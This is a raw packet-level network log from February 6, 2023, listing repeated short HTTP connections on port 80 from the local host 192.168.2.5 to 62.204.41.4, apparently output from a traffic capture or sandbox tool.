Feb 6, 2023 14:18:16.367098093 CET	50013	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.368237972 CET	50014	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.428565979 CET	80	50013	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.428603888 CET	80	50014	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.428793907 CET	50013	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.428857088 CET	50014	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.436543941 CET	50014	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.505155087 CET	80	50014	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.505187035 CET	80	50014	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.505317926 CET	50014	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.639978886 CET	50014	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.640760899 CET	50015	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.700695992 CET	80	50014	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.700942039 CET	50014	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.703176022 CET	80	50015	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.703414917 CET	50015	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.703906059 CET	50015	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.766392946 CET	80	50015	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.769123077 CET	80	50015	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.769337893 CET	50015	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.880707026 CET	50015	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.881511927 CET	50016	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.942862034 CET	80	50016	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.943099022 CET	80	50015	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:16.943193913 CET	50016	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.943660975 CET	50015	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:16.944190979 CET	50016	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.005361080 CET	80	50016	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.008083105 CET	80	50016	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.008179903 CET	50016	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.115284920 CET	50016	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.116300106 CET	50017	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.176652908 CET	80	50016	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.176743984 CET	50016	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.178844929 CET	80	50017	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.178972960 CET	50017	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.179297924 CET	50017	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.241650105 CET	80	50017	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.245771885 CET	80	50017	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.245939016 CET	50017	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.350186110 CET	50017	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.351495028 CET	50018	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.412918091 CET	80	50017	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.412986994 CET	80	50018	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.413012981 CET	50017	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.413062096 CET	50018	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.421895981 CET	50018	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.483552933 CET	80	50018	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.487003088 CET	80	50018	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.487091064 CET	50018	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.599509954 CET	50018	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.600202084 CET	50019	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.662024975 CET	80	50018	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.662158012 CET	50018	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.662375927 CET	80	50019	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.662498951 CET	50019	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.663562059 CET	50019	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.725132942 CET	80	50019	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.728158951 CET	80	50019	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.728257895 CET	50019	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.836661100 CET	50019	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.837583065 CET	50020	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.900034904 CET	80	50019	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.900172949 CET	50019	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.900985956 CET	80	50020	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.901107073 CET	50020	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.901531935 CET	50020	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:17.965764046 CET	80	50020	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.965811014 CET	80	50020	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:17.965944052 CET	50020	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.071585894 CET	50020	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.072381020 CET	50021	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.133174896 CET	80	50020	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.133304119 CET	50020	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.133620024 CET	80	50021	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.133758068 CET	50021	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.134392977 CET	50021	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.195574999 CET	80	50021	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.199697971 CET	80	50021	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.199923992 CET	50021	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.302653074 CET	50021	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.306195021 CET	50022	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.364448071 CET	80	50021	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.364674091 CET	50021	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.366915941 CET	80	50022	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.367113113 CET	50022	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.367475033 CET	50022	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.427970886 CET	80	50022	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.430800915 CET	80	50022	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.430972099 CET	50022	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.539606094 CET	50022	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.540294886 CET	50023	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.600390911 CET	80	50022	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.601768017 CET	80	50023	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.601939917 CET	50022	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.601996899 CET	50023	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.602365017 CET	50023	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.663913012 CET	80	50023	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.666377068 CET	80	50023	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.666522980 CET	50023	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.775213003 CET	50023	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.775971889 CET	50024	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.835436106 CET	80	50024	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.836987019 CET	50024	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.837006092 CET	80	50023	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.837099075 CET	50023	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.856589079 CET	50024	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:18.916151047 CET	80	50024	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.919759035 CET	80	50024	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:18.921911001 CET	50024	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.038465023 CET	50024	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.038557053 CET	50025	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.097985983 CET	80	50024	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.098215103 CET	50024	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.099968910 CET	80	50025	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.100966930 CET	50025	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.101445913 CET	50025	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.162853956 CET	80	50025	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.167455912 CET	80	50025	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.168941975 CET	50025	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.272259951 CET	50025	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.273268938 CET	50026	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.333775043 CET	80	50026	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.333842993 CET	80	50025	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.333985090 CET	50026	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.334048033 CET	50025	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.334486961 CET	50026	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.394897938 CET	80	50026	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.397778034 CET	80	50026	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.397916079 CET	50026	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.505495071 CET	50026	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.506125927 CET	50027	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.566135883 CET	80	50026	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.566235065 CET	80	50027	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.566312075 CET	50026	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.566395998 CET	50027	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.567096949 CET	50027	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.627367973 CET	80	50027	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.630285025 CET	80	50027	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.630448103 CET	50027	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.740274906 CET	50027	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.741144896 CET	50028	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.805696011 CET	80	50027	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.805767059 CET	80	50028	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.805931091 CET	50027	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.805999041 CET	50028	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.806368113 CET	50028	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.868109941 CET	80	50028	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.871136904 CET	80	50028	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:19.871324062 CET	50028	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.975905895 CET	50028	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:19.977581024 CET	50029	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.037880898 CET	80	50028	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.037976027 CET	50028	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.040155888 CET	80	50029	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.040287971 CET	50029	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.040672064 CET	50029	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.103213072 CET	80	50029	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.106918097 CET	80	50029	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.107101917 CET	50029	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.209503889 CET	50029	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.210325956 CET	50030	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.272344112 CET	80	50029	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.272602081 CET	50029	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.272677898 CET	80	50030	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.272804976 CET	50030	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.273308039 CET	50030	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.335861921 CET	80	50030	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.339488983 CET	80	50030	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.342843056 CET	50030	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.445884943 CET	50030	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.446634054 CET	50031	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.508634090 CET	80	50030	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.508698940 CET	50030	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.510588884 CET	80	50031	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.510680914 CET	50031	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.511059046 CET	50031	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.573302984 CET	80	50031	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.576251030 CET	80	50031	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.582005978 CET	50031	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.703358889 CET	50031	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.704550028 CET	50032	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.765809059 CET	80	50031	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.765882969 CET	80	50032	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.765919924 CET	50031	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.765981913 CET	50032	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.769004107 CET	50032	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.830725908 CET	80	50032	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.834661007 CET	80	50032	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:20.834872961 CET	50032	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.944502115 CET	50033	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:20.944616079 CET	50032	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.006381989 CET	80	50032	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.006428957 CET	80	50033	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.006565094 CET	50033	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.009109974 CET	50033	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.009218931 CET	50032	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.079436064 CET	80	50033	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.079492092 CET	80	50033	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.079636097 CET	50033	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.194113016 CET	50033	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.195020914 CET	50034	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.255912066 CET	80	50033	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.256648064 CET	80	50034	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.257214069 CET	50034	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.257214069 CET	50034	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.272267103 CET	50033	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.318969011 CET	80	50034	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.322240114 CET	80	50034	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.322384119 CET	50034	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.428318977 CET	50034	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.429225922 CET	50035	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.516581059 CET	80	50035	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.516633987 CET	80	50034	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.516921043 CET	50035	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.516923904 CET	50034	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.518035889 CET	50035	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.578548908 CET	80	50035	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.582262039 CET	80	50035	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.582988977 CET	50035	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.696180105 CET	50035	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.696228027 CET	50036	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.756968021 CET	80	50035	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.757066965 CET	50035	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.757586956 CET	80	50036	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.757668972 CET	50036	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.758203030 CET	50036	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.819613934 CET	80	50036	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.822861910 CET	80	50036	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.823087931 CET	50036	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.928250074 CET	50036	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.929105043 CET	50037	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.989907026 CET	80	50036	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.989968061 CET	80	50037	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:21.990153074 CET	50036	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.990176916 CET	50037	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:21.991528988 CET	50037	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.052201986 CET	80	50037	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.057874918 CET	80	50037	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.060205936 CET	50037	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.166718960 CET	50037	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.167716980 CET	50038	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.231894016 CET	80	50037	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.231931925 CET	80	50038	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.232074022 CET	50037	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.232114077 CET	50038	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.237631083 CET	50038	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.298048973 CET	80	50038	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.301232100 CET	80	50038	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.301367998 CET	50038	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.412684917 CET	50038	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.413389921 CET	50039	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.473572016 CET	80	50038	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.473661900 CET	80	50039	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.473810911 CET	50038	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.473929882 CET	50039	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.475115061 CET	50039	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.535568953 CET	80	50039	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.538532972 CET	80	50039	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.538743019 CET	50039	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.647365093 CET	50039	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.648304939 CET	50040	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.708075047 CET	80	50039	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.708342075 CET	50039	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.708682060 CET	80	50040	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.708830118 CET	50040	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.709350109 CET	50040	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.770508051 CET	80	50040	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.774275064 CET	80	50040	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.774415016 CET	50040	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.893311977 CET	50040	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.893326044 CET	50041	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.954145908 CET	80	50040	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.954379082 CET	50040	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.954878092 CET	80	50041	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:22.954986095 CET	50041	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:22.955497026 CET	50041	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.016917944 CET	80	50041	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.020642996 CET	80	50041	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.020934105 CET	50041	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.131498098 CET	50041	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.132533073 CET	50042	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.192928076 CET	80	50042	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.192984104 CET	80	50041	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.193150043 CET	50042	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.193840027 CET	50041	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.193844080 CET	50042	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.254115105 CET	80	50042	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.260596991 CET	80	50042	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.260823965 CET	50042	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.366336107 CET	50042	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.367168903 CET	50043	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.426729918 CET	80	50042	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.426881075 CET	50042	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.427546978 CET	80	50043	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.427654982 CET	50043	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.431242943 CET	50043	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.495665073 CET	80	50043	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.497637987 CET	80	50043	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.497745037 CET	50043	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.599955082 CET	50043	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.600661993 CET	50044	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.660475016 CET	80	50043	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.660578966 CET	50043	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.660911083 CET	80	50044	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.661010027 CET	50044	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.661386967 CET	50044	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.721892118 CET	80	50044	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.724581003 CET	80	50044	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.724653959 CET	50044	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.835139990 CET	50044	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.836045980 CET	50045	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.895726919 CET	80	50044	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.895819902 CET	50044	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.896502972 CET	80	50045	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.896594048 CET	50045	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.896930933 CET	50045	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:23.957350016 CET	80	50045	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.960113049 CET	80	50045	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:23.960225105 CET	50045	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.069478989 CET	50045	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.070331097 CET	50046	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.130045891 CET	80	50045	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.130142927 CET	50045	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.132829905 CET	80	50046	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.132965088 CET	50046	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.134243011 CET	50046	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.196434975 CET	80	50046	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.201291084 CET	80	50046	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.201399088 CET	50046	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.309086084 CET	50046	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.309972048 CET	50047	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.370320082 CET	80	50047	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.370517015 CET	50047	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.370968103 CET	50047	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.371310949 CET	80	50046	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.371398926 CET	50046	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.432576895 CET	80	50047	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.436558008 CET	80	50047	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.436724901 CET	50047	80	192.168.2.5	62.204.41.4
